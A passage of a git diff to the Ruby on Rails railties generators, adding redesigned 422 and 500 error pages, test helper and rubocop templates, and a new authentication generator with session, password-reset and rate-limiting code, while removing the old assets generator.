17.3889h-8.584l3.655-9.414-9.303-24.312h9.026l4.763 14.1773 4.652-14.1773h8.639z" id="error-description"/></svg>
+      </header>
+      <article>
+        <p><strong>The change you wanted was rejected.</strong> Maybe you tried to change something you didn't have access to. If you're the application owner check the logs for more information.</p>
+      </article>
+    </main>
+
+  </body>
+
 </html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/500.html b/railties/lib/rails/generators/rails/app/templates/public/500.html
index 061abc587dcac..e4eb18a759909 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/500.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/500.html
@@ -1,66 +1,135 @@
-<!DOCTYPE html>
-<html>
-<head>
-  <title>We're sorry, but something went wrong (500)</title>
-  <meta name="viewport" content="width=device-width,initial-scale=1">
-  <style>
-  body {
-    background-color: #EFEFEF;
-    color: #2E2F30;
-    text-align: center;
-    font-family: arial, sans-serif;
-    margin: 0;
-  }
-
-  div.dialog {
-    width: 95%;
-    max-width: 33em;
-    margin: 4em auto 0;
-  }
-
-  div.dialog > div {
-    border: 1px solid #CCC;
-    border-right-color: #999;
-    border-left-color: #999;
-    border-bottom-color: #BBB;
-    border-top: #B00100 solid 4px;
-    border-top-left-radius: 9px;
-    border-top-right-radius: 9px;
-    background-color: white;
-    padding: 7px 12% 0;
-    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
-  }
-
-  h1 {
-    font-size: 100%;
-    color: #730E15;
-    line-height: 1.5em;
-  }
-
-  div.dialog > p {
-    margin: 0 0 1em;
-    padding: 1em;
-    background-color: #F7F7F7;
-    border: 1px solid #CCC;
-    border-right-color: #999;
-    border-left-color: #999;
-    border-bottom-color: #999;
-    border-bottom-left-radius: 4px;
-    border-bottom-right-radius: 4px;
-    border-top-color: #DADADA;
-    color: #666;
-    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
-  }
-  </style>
-</head>
-
-<body>
-  <!-- This file lives in public/500.html -->
-  <div class="dialog">
-    <div>
-      <h1>We're sorry, but something went wrong.</h1>
-    </div>
-    <p>If you are the application owner check the logs for more information.</p>
-  </div>
-</body>
+<!doctype html>
+
+<html lang="en">
+
+  <head>
+
+    <title>We're sorry, but something went wrong (500 Internal Server Error)</title>
+
+    <meta charset="utf-8">
+    <meta name="viewport" content="initial-scale=1, width=device-width">
+    <meta name="robots" content="noindex, nofollow">
+
+    <style>
+
+      *, *::before, *::after {
+        box-sizing: border-box;
+      }
+
+      * {
+        margin: 0;
+      }
+
+      html {
+        font-size: 16px;
+      }
+
+      body {
+        background: #FFF;
+        color: #261B23;
+        display: grid;
+        font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, Aptos, Roboto, "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+        font-size: clamp(1rem, 2.5vw, 2rem);
+        -webkit-font-smoothing: antialiased;
+        font-style: normal;
+        font-weight: 400;
+        letter-spacing: -0.0025em;
+        line-height: 1.4;
+        min-height: 100dvh;
+        place-items: center;
+        text-rendering: optimizeLegibility;
+        -webkit-text-size-adjust: 100%;
+      }
+
+      #error-description {
+        fill: #d30001;
+      }
+
+      #error-id {
+        fill: #f0eff0;
+      }
+
+      @media (prefers-color-scheme: dark) {
+        body {
+          background: #101010;
+          color: #e0e0e0;
+        }
+
+        #error-description {
+          fill: #FF6161;
+        }
+
+        #error-id {
+          fill: #2c2c2c;
+        }
+      }
+
+      a {
+        color: inherit;
+        font-weight: 700;
+        text-decoration: underline;
+        text-underline-offset: 0.0925em;
+      }
+
+      b, strong {
+        font-weight: 700;
+      }
+
+      i, em {
+        font-style: italic;
+      }
+
+      main {
+        display: grid;
+        gap: 1em;
+        padding: 2em;
+        place-items: center;
+        text-align: center;
+      }
+
+      main header {
+        width: min(100%, 12em);
+      }
+
+      main header svg {
+        height: auto;
+        max-width: 100%;
+        width: 100%;
+      }
+
+      main article {
+        width: min(100%, 30em);
+      }
+
+      main article p {
+        font-size: 75%;
+      }
+
+      main article br {
+        display: none;
+
+        @media(min-width: 48em) {
+          display: inline;
+        }
+      }
+
+    </style>
+
+  </head>
+
+  <body>
+
+    <!-- This file lives in public/500.html -->
+
+    <main>
+      <header>
+        <svg height="172" viewBox="0 0 480 172" width="480" xmlns="http://www.w3.org/2000/svg"><path d="m101.23 93.8427c-8.1103 0-15.4098 3.7849-19.7354 8.3813h-36.2269v-99.21891h103.8143v37.03791h-68.3984v24.8722c5.1366-2.7035 15.1396-5.9477 24.6014-5.9477 35.146 0 56.233 22.7094 56.233 55.4215 0 34.605-23.791 57.315-60.558 57.315-37.8492 0-61.64-22.169-63.8028-55.963h42.9857c1.0814 10.814 9.1919 19.195 21.6281 19.195 11.355 0 19.465-8.381 19.465-20.547 0-11.625-7.299-20.5463-20.006-20.5463zm138.833 77.8613c-40.822 0-64.884-35.146-64.884-85.7015 0-50.5554 24.062-85.700907 64.884-85.700907 40.823 0 64.884 35.145507 64.884 85.700907 0 50.5555-24.061 85.7015-64.884 85.7015zm0-133.2831c-17.572 0-22.709 21.8984-22.709 47.5816 0 25.6835 5.137 47.5815 22.709 47.5815 17.303 0 22.71-21.898 22.71-47.5815 0-25.6832-5.407-47.5816-22.71-47.5816zm140.456 133.2831c-40.823 0-64.884-35.146-64.884-85.7015 0-50.5554 24.061-85.700907 64.884-85.700907 40.822 0 64.884 35.145507 64.884 85.700907 0 50.5555-24.062 85.7015-64.884 85.7015zm0-133.2831c-17.573 0-22.71 21.8984-22.71 47.5816 0 25.6835 5.137 47.5815 22.71 47.5815 17.302 0 22.709-21.898 22.709-47.5815 0-25.6832-5.407-47.5816-22.709-47.5816z" id="error-id"/><path d="m23.1377 68.9967v34.0033h-8.9162v-34.0033zm4.3157 34.0033v-24.921h8.6947v2.1598c1.3845-1.5506 3.8212-2.7136 6.701-2.7136 5.538 0 8.8054 3.5997 8.8054 9.1377v16.3371h-8.6393v-14.2327c0-2.049-1.0522-3.5443-3.2674-3.5443-1.7168 0-3.1567.9969-3.5997 2.7136v15.0634zm29.9913-8.5839v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.5839v6.8671h5.2058v6.7564h-5.2058v8.307c0 1.9383.9415 2.769 2.6583 2.769.9414 0 1.9937-.2216 2.769-.5538v7.3654c-.9969.443-2.8798.775-4.8181.775-5.8703 0-9.1931-2.769-9.1931-9.0819zm32.3666-.1108h8.0301c-.8861 5.7597-5.2057 9.2487-11.6852 9.2487-7.6424 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.3165-13.0143 12.5159-13.0143 7.6424 0 11.9621 5.095 11.9621 12.5159v2.1598h-16.1156c.2769 2.9905 1.8275 4.5965 4.3196 4.5965 1.7722 0 3.1567-.7753 3.6551-2.4921zm-3.8212-10.0237c-2.0491 0-3.4336 1.2737-3.9874 3.5997h7.5317c-.1107-2.0491-1.3845-3.5997-3.5443-3.5997zm31.4299-6.3134v8.3624c-1.052-.5538-2.215-.7753-3.599-.7753-2.382 0-3.988 1.0522-4.431 2.8244v14.6203h-8.694v-24.921h8.694v2.2152c1.219-1.6614 3.157-2.769 5.649-2.769 1.108 0 1.994.2215 2.381.443zm2.949 25.0318v-24.921h8.694v2.1598c1.385-1.5506 3.821-2.7136 6.701-2.7136 5.538 0 8.806 3.5997 8.806 9.1377v16.3371h-8.64v-14.2327c0-2.049-1.052-3.5443-3.267-3.5443-1.717 0-3.157.9969-3.6 2.7136v15.0634zm50.371 0h-8.363v-1.274c-.83.831-3.323 1.717-5.981 1.717-4.929 0-9.082-2.769-9.082-8.0301 0-4.818 4.153-7.9193 9.581-7.9193 2.049 0 4.485.6646 5.482 1.3845v-1.606c0-1.606-.941-2.9905-3.046-2.9905-1.606 0-2.547.7199-2.935 1.8275h-8.196c.72-4.8181 4.984-8.6393 11.408-8.6393 7.089 0 11.132 3.7659 11.132 10.2453zm-8.363-6.9779v-1.4399c-.554-1.0522-2.049-1.7167-3.655-1.7167-1.717 0-3.433.7199-3.433 2.3813 0 1.7168 1.716 2.4367 3.433 2.4367 1.606 0 3.101-.6645 3.655-1.6614zm20.742-29.0191v35.997h-8.694v-35.997zm13.036 25.9178h9.248c.72 2.326 2.714 3.489 5.483 3.489 2.713 0 4.596-1.163 4.596-3.2674 0-1.6061-1.052-2.326-3.212-2.8244l-6.534-1.3845c-4.985-1.1076-8.751-3.7105-8.751-9.47 0-6.6456 5.538-11.0206 13.07-11.0206 8.307 0 13.014 4.5411 13.956 10.4114h-8.695c-.72-1.8829-2.27-3.3228-5.205-3.3228-2.548 0-4.265 1.1076-4.265 2.9905 0 1.4953 1.052 2.326 2.825 2.7137l6.645 1.5506c5.815 1.3845 9.027 4.5412 9.027 9.8023 0 6.9778-5.87 10.9654-13.291 10.9654-8.141 0-13.679-3.9322-14.897-10.6332zm46.509 1.3845h8.031c-.887 5.7597-5.206 9.2487-11.686 9.2487-7.642 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.317-13.0143 12.516-13.0143 7.643 0 11.962 5.095 11.962 12.5159v2.1598h-16.115c.277 2.9905 1.827 4.5965 4.319 4.5965 1.773 0 3.157-.7753 3.655-2.4921zm-3.821-10.0237c-2.049 0-3.433 1.2737-3.987 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.545-3.5997zm31.431-6.3134v8.3624c-1.053-.5538-2.216-.7753-3.6-.7753-2.381 0-3.988 1.0522-4.431 2.8244v14.6203h-8.694v-24.921h8.694v2.2152c1.219-1.6614 3.157-2.769 5.649-2.769 1.108 0 1.994.2215 2.382.443zm18.288 25.0318h-7.809l-9.47-24.921h8.861l4.763 14.288 4.652-14.288h8.528zm25.614-8.6947h8.03c-.886 5.7597-5.206 9.2487-11.685 9.2487-7.642 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.516-13.0143 7.642 0 11.962 5.095 11.962 12.5159v2.1598h-16.116c.277 2.9905 1.828 4.5965 4.32 4.5965 1.772 0 3.157-.7753 3.655-2.4921zm-3.821-10.0237c-2.049 0-3.434 1.2737-3.988 3.5997h7.532c-.111-2.0491-1.384-3.5997-3.544-3.5997zm31.43-6.3134v8.3624c-1.052-.5538-2.215-.7753-3.6-.7753-2.381 0-3.987 1.0522-4.43 2.8244v14.6203h-8.695v-24.921h8.695v2.2152c1.218-1.6614 3.157-2.769 5.649-2.769 1.107 0 1.993.2215 2.381.443zm13.703-8.9715h24.312v7.6424h-15.562v5.3165h14.232v7.4763h-14.232v5.8703h15.562v7.6978h-24.312zm44.667 8.9715v8.3624c-1.052-.5538-2.215-.7753-3.6-.7753-2.381 0-3.987 1.0522-4.43 2.8244v14.6203h-8.695v-24.921h8.695v2.2152c1.218-1.6614 3.156-2.769 5.648-2.769 1.108 0 1.994.2215 2.382.443zm19.673 0v8.3624c-1.053-.5538-2.216-.7753-3.6-.7753-2.381 0-3.987 1.0522-4.43 2.8244v14.6203h-8.695v-24.921h8.695v2.2152c1.218-1.6614 3.156-2.769 5.648-2.769 1.108 0 1.994.2215 2.382.443zm26.769 12.5713c0 7.6978-5.15 13.0145-12.737 13.0145-7.532 0-12.738-5.3167-12.738-13.0145s5.206-13.0143 12.738-13.0143c7.587 0 12.737 5.3165 12.737 13.0143zm-8.529 0c0-3.4336-1.495-5.8703-4.208-5.8703-2.659 0-4.154 2.4367-4.154 5.8703s1.495 5.8149 4.154 5.8149c2.713 0 4.208-2.3813 4.208-5.8149zm28.082-12.5713v8.3624c-1.052-.5538-2.215-.7753-3.6-.7753-2.381 0-3.987 1.0522-4.43 2.8244v14.6203h-8.695v-24.921h8.695v2.2152c1.218-1.6614 3.157-2.769 5.649-2.769 1.107 0 1.993.2215 2.381.443z" id="error-description"/></svg>
+      </header>
+      <article>
+        <p><strong>We're sorry, but something went wrong.</strong><br> If you're the application owner check the logs for more information.</p>
+      </article>
+    </main>
+
+  </body>
+
 </html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/icon.png b/railties/lib/rails/generators/rails/app/templates/public/icon.png
new file mode 100644
index 0000000000000..c4c9dbfbbd2f7
Binary files /dev/null and b/railties/lib/rails/generators/rails/app/templates/public/icon.png differ
diff --git a/railties/lib/rails/generators/rails/app/templates/public/icon.svg b/railties/lib/rails/generators/rails/app/templates/public/icon.svg
new file mode 100644
index 0000000000000..04b34bf83f344
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/public/icon.svg
@@ -0,0 +1,3 @@
+<svg width="512" height="512" xmlns="http://www.w3.org/2000/svg">
+  <circle cx="256" cy="256" r="256" fill="red"/>
+</svg>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/robots.txt b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
index 37b576a4a015a..c19f78ab6836e 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/robots.txt
+++ b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
@@ -1 +1 @@
-# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
+# See https://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
diff --git a/railties/lib/rails/generators/rails/app/templates/rubocop.yml.tt b/railties/lib/rails/generators/rails/app/templates/rubocop.yml.tt
new file mode 100644
index 0000000000000..f9d86d4a54802
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/rubocop.yml.tt
@@ -0,0 +1,8 @@
+# Omakase Ruby styling for Rails
+inherit_gem: { rubocop-rails-omakase: rubocop.yml }
+
+# Overwrite or add rules to create your own house style
+#
+# # Use `[a, [b, c]]` not `[ a, [ b, c ] ]`
+# Layout/SpaceInsideArrayLiteralBrackets:
+#   Enabled: false
diff --git a/railties/lib/rails/generators/rails/app/templates/ruby-version.tt b/railties/lib/rails/generators/rails/app/templates/ruby-version.tt
new file mode 100644
index 0000000000000..62970ea404616
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/ruby-version.tt
@@ -0,0 +1 @@
+<%= version_manager_ruby_version %>
diff --git a/railties/lib/rails/generators/rails/app/templates/test/application_system_test_case.rb.tt b/railties/lib/rails/generators/rails/app/templates/test/application_system_test_case.rb.tt
new file mode 100644
index 0000000000000..cee29fd2143ea
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/test/application_system_test_case.rb.tt
@@ -0,0 +1,5 @@
+require "test_helper"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :headless_chrome, screen_size: [ 1400, 1400 ]
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
deleted file mode 100644
index 2f92168eefd19..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-require File.expand_path('../../config/environment', __FILE__)
-require 'rails/test_help'
-
-class ActiveSupport::TestCase
-<% unless options[:skip_active_record] -%>
-  # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
-  fixtures :all
-
-<% end -%>
-  # Add more helper methods to be used by all tests here...
-end
diff --git a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb.tt b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb.tt
new file mode 100644
index 0000000000000..17a12e21c1173
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb.tt
@@ -0,0 +1,21 @@
+ENV["RAILS_ENV"] ||= "test"
+require_relative "../config/environment"
+require "rails/test_help"
+
+module ActiveSupport
+  class TestCase
+    # Run tests in parallel with specified workers
+<% if Process.respond_to?(:fork) && !Gem.win_platform? -%>
+    parallelize(workers: :number_of_processors)
+<%- else -%>
+    parallelize(workers: :number_of_processors, with: :threads)
+<% end -%>
+
+<% unless options[:skip_active_record] -%>
+    # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
+    fixtures :all
+
+<% end -%>
+    # Add more helper methods to be used by all tests here...
+  end
+end
diff --git a/railties/lib/rails/generators/rails/application_record/application_record_generator.rb b/railties/lib/rails/generators/rails/application_record/application_record_generator.rb
new file mode 100644
index 0000000000000..a906308380186
--- /dev/null
+++ b/railties/lib/rails/generators/rails/application_record/application_record_generator.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Rails
+  module Generators
+    class ApplicationRecordGenerator < Base # :nodoc:
+      hook_for :orm, required: true, desc: "ORM to be invoked"
+
+      class << self
+        delegate(:desc, to: :orm_generator)
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/assets/USAGE b/railties/lib/rails/generators/rails/assets/USAGE
deleted file mode 100644
index d2e5ed4482616..0000000000000
--- a/railties/lib/rails/generators/rails/assets/USAGE
+++ /dev/null
@@ -1,20 +0,0 @@
-Description:
-    Stubs out new asset placeholders. Pass the asset name, either CamelCased
-    or under_scored.
-
-    To create an asset within a folder, specify the asset's name as a
-    path like 'parent/name'.
-
-    This generates a JavaScript stub in app/assets/javascripts and a stylesheet
-    stub in app/assets/stylesheets.
-
-    If CoffeeScript is available, JavaScripts will be generated with the .coffee extension.
-    If Sass 3 is available, stylesheets will be generated with the .scss extension.
-
-Example:
-    `rails generate assets posts`
-
-    Posts assets.
-        JavaScript:     app/assets/javascripts/posts.js
-        Stylesheet:     app/assets/stylesheets/posts.css
-
diff --git a/railties/lib/rails/generators/rails/assets/assets_generator.rb b/railties/lib/rails/generators/rails/assets/assets_generator.rb
deleted file mode 100644
index 95d00c2d39783..0000000000000
--- a/railties/lib/rails/generators/rails/assets/assets_generator.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-module Rails
-  module Generators
-    class AssetsGenerator < NamedBase # :nodoc:
-      class_option :javascripts, type: :boolean, desc: "Generate JavaScripts"
-      class_option :stylesheets, type: :boolean, desc: "Generate Stylesheets"
-
-      class_option :javascript_engine, desc: "Engine for JavaScripts"
-      class_option :stylesheet_engine, desc: "Engine for Stylesheets"
-
-      private
-
-        def asset_name
-          file_name
-        end
-
-        hook_for :javascript_engine do |javascript_engine|
-          invoke javascript_engine, [name] if options[:javascripts]
-        end
-
-        hook_for :stylesheet_engine do |stylesheet_engine|
-          invoke stylesheet_engine, [name] if options[:stylesheets]
-        end
-    end
-  end
-end
diff --git a/railties/lib/rails/generators/rails/assets/templates/javascript.js b/railties/lib/rails/generators/rails/assets/templates/javascript.js
deleted file mode 100644
index dee720facdcda..0000000000000
--- a/railties/lib/rails/generators/rails/assets/templates/javascript.js
+++ /dev/null
@@ -1,2 +0,0 @@
-// Place all the behaviors and hooks related to the matching controller here.
-// All this logic will automatically be available in application.js.
diff --git a/railties/lib/rails/generators/rails/assets/templates/stylesheet.css b/railties/lib/rails/generators/rails/assets/templates/stylesheet.css
deleted file mode 100644
index 7594abf268a3d..0000000000000
--- a/railties/lib/rails/generators/rails/assets/templates/stylesheet.css
+++ /dev/null
@@ -1,4 +0,0 @@
-/* 
-  Place all the styles related to the matching controller here.
-  They will automatically be included in application.css.
-*/
diff --git a/railties/lib/rails/generators/rails/authentication/USAGE b/railties/lib/rails/generators/rails/authentication/USAGE
new file mode 100644
index 0000000000000..7f03e23d9500b
--- /dev/null
+++ b/railties/lib/rails/generators/rails/authentication/USAGE
@@ -0,0 +1,6 @@
+Description:
+    Generates a basic authentication system with users, sessions, and password reset.
+
+Example:
+    `bin/rails generate authentication`
+
diff --git a/railties/lib/rails/generators/rails/authentication/authentication_generator.rb b/railties/lib/rails/generators/rails/authentication/authentication_generator.rb
new file mode 100644
index 0000000000000..13caf7cb1ed16
--- /dev/null
+++ b/railties/lib/rails/generators/rails/authentication/authentication_generator.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require "rails/generators/bundle_helper"
+
+module Rails
+  module Generators
+    class AuthenticationGenerator < Base # :nodoc:
+      include BundleHelper
+
+      class_option :api, type: :boolean,
+        desc: "Generate API-only controllers and models, with no view templates"
+
+      hook_for :template_engine, as: :authentication do |template_engine|
+        invoke template_engine unless options.api?
+      end
+
+      def create_authentication_files
+        template "app/models/session.rb"
+        template "app/models/user.rb"
+        template "app/models/current.rb"
+
+        template "app/controllers/sessions_controller.rb"
+        template "app/controllers/concerns/authentication.rb"
+        template "app/controllers/passwords_controller.rb"
+
+        template "app/channels/application_cable/connection.rb" if defined?(ActionCable::Engine)
+
+        if defined?(ActionMailer::Railtie)
+          template "app/mailers/passwords_mailer.rb"
+
+          template "app/views/passwords_mailer/reset.html.erb"
+          template "app/views/passwords_mailer/reset.text.erb"
+        end
+      end
+
+      def configure_application_controller
+        inject_into_class "app/controllers/application_controller.rb", "ApplicationController", "  include Authentication\n"
+      end
+
+      def configure_authentication_routes
+        route "resources :passwords, param: :token"
+        route "resource :session"
+      end
+
+      def enable_bcrypt
+        if File.read(File.expand_path("Gemfile", destination_root)).include?('gem "bcrypt"')
+          uncomment_lines "Gemfile", /gem "bcrypt"/
+          bundle_command("install --quiet")
+        else
+          bundle_command("add bcrypt", {}, quiet: true)
+        end
+      end
+
+      def add_migrations
+        generate "migration", "CreateUsers", "email_address:string!:uniq password_digest:string!", "--force"
+        generate "migration", "CreateSessions", "user:references ip_address:string user_agent:string", "--force"
+      end
+
+      hook_for :test_framework
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/authentication/templates/app/channels/application_cable/connection.rb.tt b/railties/lib/rails/generators/rails/authentication/templates/app/channels/application_cable/connection.rb.tt
new file mode 100644
index 0000000000000..4264c745c3281
--- /dev/null
+++ b/railties/lib/rails/generators/rails/authentication/templates/app/channels/application_cable/connection.rb.tt
@@ -0,0 +1,16 @@
+module ApplicationCable
+  class Connection < ActionCable::Connection::Base
+    identified_by :current_user
+
+    def connect
+      set_current_user || reject_unauthorized_connection
+    end
+
+    private
+      def set_current_user
+        if session = Session.find_by(id: cookies.signed[:session_id])
+          self.current_user = session.user
+        end
+      end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/authentication/templates/app/controllers/concerns/authentication.rb.tt b/railties/lib/rails/generators/rails/authentication/templates/app/controllers/concerns/authentication.rb.tt
new file mode 100644
index 0000000000000..3538f485c5030
--- /dev/null
+++ b/railties/lib/rails/generators/rails/authentication/templates/app/controllers/concerns/authentication.rb.tt
@@ -0,0 +1,52 @@
+module Authentication
+  extend ActiveSupport::Concern
+
+  included do
+    before_action :require_authentication
+    helper_method :authenticated?
+  end
+
+  class_methods do
+    def allow_unauthenticated_access(**options)
+      skip_before_action :require_authentication, **options
+    end
+  end
+
+  private
+    def authenticated?
+      resume_session
+    end
+
+    def require_authentication
+      resume_session || request_authentication
+    end
+
+    def resume_session
+      Current.session ||= find_session_by_cookie
+    end
+
+    def find_session_by_cookie
+      Session.find_by(id: cookies.signed[:session_id]) if cookies.signed[:session_id]
+    end
+
+    def request_authentication
+      session[:return_to_after_authenticating] = request.url
+      redirect_to new_session_path
+    end
+
+    def after_authentication_url
+      session.delete(:return_to_after_authenticating) || root_url
+    end
+
+    def start_new_session_for(user)
+      user.sessions.create!(user_agent: request.user_agent, ip_address: request.remote_ip).tap do |session|
+        Current.session = session
+        cookies.signed.permanent[:session_id] = { value: session.id, httponly: true, same_site: :lax }
+      end
+    end
+
+    def terminate_session
+      Current.session.destroy
+      cookies.delete(:session_id)
+    end
+end
diff --git a/railties/lib/rails/generators/rails/authentication/templates/app/controllers/passwords_controller.rb.tt b/railties/lib/rails/generators/rails/authentication/templates/app/controllers/passwords_controller.rb.tt
new file mode 100644
index 0000000000000..c389acd640f38
--- /dev/null
+++ b/railties/lib/rails/generators/rails/authentication/templates/app/controllers/passwords_controller.rb.tt
@@ -0,0 +1,39 @@
+class PasswordsController < ApplicationController
+  allow_unauthenticated_access
+  before_action :set_user_by_token, only: %i[ edit update ]
+  <%- if defined?(ActionMailer::Railtie) -%>
+  rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to new_password_path, alert: "Try again later." }
+  <%- end -%>
+
+  def new
+  end
+  <%- if defined?(ActionMailer::Railtie) -%>
+
+  def create
+    if user = User.find_by(email_address: params[:email_address])
+      PasswordsMailer.reset(user).deliver_later
+    end
+
+    redirect_to new_session_path, notice: "Password reset instructions sent (if user with that email address exists)."
+  end
+  <%- end -%>
+
+  def edit
+  end
+
+  def update
+    if @user.update(params.permit(:password, :password_confirmation))
+      @user.sessions.destroy_all
+      redirect_to new_session_path, notice: "Password has been reset."
+    else
+      redirect_to edit_password_path(params[:token]), alert: "Passwords did not match."
+    end
+  end
+
+  private
+    def set_user_by_token
+      @user = User.find_by_password_reset_token!(params[:token])
+    rescue ActiveSupport::MessageVerifier::InvalidSignature
+      redirect_to new_password_path, alert: "Password reset link is invalid or has expired."
+    end
+end
diff --git a/railties/lib/rails/generators/rails/authentication/templates/app/controllers/sessions_controller.rb.tt b/railties/lib/rails/generators/rails/authentication/templates/app/controllers/sessions_controller.rb.tt
new file mode 100644
index 0000000000000..cf7fccd12a31c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/authentication/templates/app/controllers/sessions_controller.rb.tt
@@ -0,0 +1,21 @@
+class SessionsController < ApplicationController
+  allow_unauthenticated_access only: %i[ new create ]
+  rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to new_session_path, alert: "Try again later." }
+
+  def new
+  end
+
+  def create
+    if user = User.authenticate_by(params.permit(:email_address, :password))
+      start_new_session_for user
+      redirect_to after_authentication_url
+    else
+      redirect_to new_session_path, alert: "Try another email address or password."
+    end
+  end
+
+  def destroy
+    terminate_session
+    redirect_to new_session_path, status: :see_other
+  end
+end
diff --git a/railties/lib/rails/generators/rails/authentication/templates/app/mailers/passwords_mailer.rb.tt b/railties/lib/rails/generators/rails/authentication/templates/app/mailers/passwords_mailer.rb.tt
new file mode 100644
index 0000000000000..4f0ac7fd91533
--- /dev/null
+++ b/railties/lib/rails/generators/rails/authentication/templates/app/mailers/passwords_mailer.rb.tt
@@ -0,0 +1,6 @@
+class PasswordsMailer < ApplicationMailer
+  def reset(user)
+    @user = user
+    mail subject: "Reset your password", to: user.email_address
+  end
+end
diff --git a/railties/lib/rails/generators/rails/authentication/templates/app/models/current.rb.tt b/railties/lib/rails/generators/rails/authentication/templates/app/models/current.rb.tt
new file mode 100644
index 0000000000000..2bef56dadab9d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/authentication/templates/app/models/current.rb.tt
@@ -0,0 +1,4 @@
+class Current < ActiveSupport::CurrentAttributes
+  attribute :session
+  delegate :user, to: :session, allow_nil: true
+end
diff --git a/railties/lib/rails/generators/rails/authentication/templates/app/models/session.rb.tt b/railties/lib/rails/generators/rails/authentication/templates/app/models/session.rb.tt
new file mode 100644
index 0000000000000..cf376fb280f27
--- /dev/null
+++ b/railties/lib/rails/generators/rails/authentication/templates/app/models/session.rb.tt
@@ -0,0 +1,3 @@
+class Session < ApplicationRecord
+  belongs_to :user
+end
diff --git a/railties/lib/rails/generators/rails/authentication/templates/app/models/user.rb.tt b/railties/lib/rails/generators/rails/authentication/templates/app/models/user.rb.tt
new file mode 100644
index 0000000000000..c88d5b03409f7
--- /dev/null
+++ b/railties/lib/rails/generators/rails/authentication/templates/app/models/user.rb.tt
@@ -0,0 +1,6 @@
+class User < ApplicationRecord
+  has_secure_password
+  has_many :sessions, dependent: :destroy
+
+  normalizes :email_address, with: ->(e) { e.strip.downcase }
+end
diff --git a/railties/lib/rails/generators/rails/authentication/templates/app/views/passwords_mailer/reset.html.erb.tt b/railties/lib/rails/generators/rails/authentication/templates/app/views/passwords_mailer/reset.html.erb.tt
new file mode 100644
index 0000000000000..5fb5f150a159c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/authentication/templates/app/views/passwords_mailer/reset.html.erb.tt
@@ -0,0 +1,6 @@
+<p>
+  You can reset your password on
+  <%%= link_to "this password reset page", edit_password_url(@user.password_reset_token) %>.
+
+  This link will expire in <%%= distance_of_time_in_words(0, @user.password_reset_token_expires_in) %>.
+</p>
diff --git a/railties/lib/rails/generators/rails/authentication/templates/app/views/passwords_mailer/reset.text.erb.tt b/railties/lib/rails/generators/rails/authentication/templates/app/views/passwords_mailer/reset.text.erb.tt
new file mode 100644
index 0000000000000..decfbab485c9c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/authentication/templates/app/views/passwords_mailer/reset.text.erb.tt
@@ -0,0 +1,4 @@
+You can reset your password on
+<%%= edit_password_url(@user.password_reset_token) %>
+
+This link will expire in <%%= distance_of_time_in_words(0, @user.password_reset_token_expires_in) %>.
diff --git a/railties/lib/rails/generators/rails/benchmark/USAGE b/railties/lib/rails/generators/rails/benchmark/USAGE
new file mode 100644
index 0000000000000..690e6586f9cd5
--- /dev/null
+++ b/railties/lib/rails/generators/rails/benchmark/USAGE
@@ -0,0 +1,19 @@
+Description:
+    Generate benchmarks to compare performance optimizations.
+
+    Makes use of the `benchmark-ips` gem as it provides a number of benefits like:
+     - Simple significance test
+     - Automatic warmup
+     - No need to specify the number of iterations
+
+Example:
+    `bin/rails generate benchmark opt_compare`
+
+    This will create:
+        script/benchmarks/opt_compare.rb
+
+    You can run the generated benchmark file using:
+        `bin/rails runner script/benchmarks/opt_compare.rb`
+
+    You can specify different reports:
+        `bin/rails generate benchmark opt_compare patch1 patch2 patch3`
diff --git a/railties/lib/rails/generators/rails/benchmark/benchmark_generator.rb b/railties/lib/rails/generators/rails/benchmark/benchmark_generator.rb
new file mode 100644
index 0000000000000..fe83931947c16
--- /dev/null
+++ b/railties/lib/rails/generators/rails/benchmark/benchmark_generator.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require "rails/generators/named_base"
+
+module Rails
+  module Generators
+    class BenchmarkGenerator < NamedBase
+      IPS_GEM_NAME = "benchmark-ips"
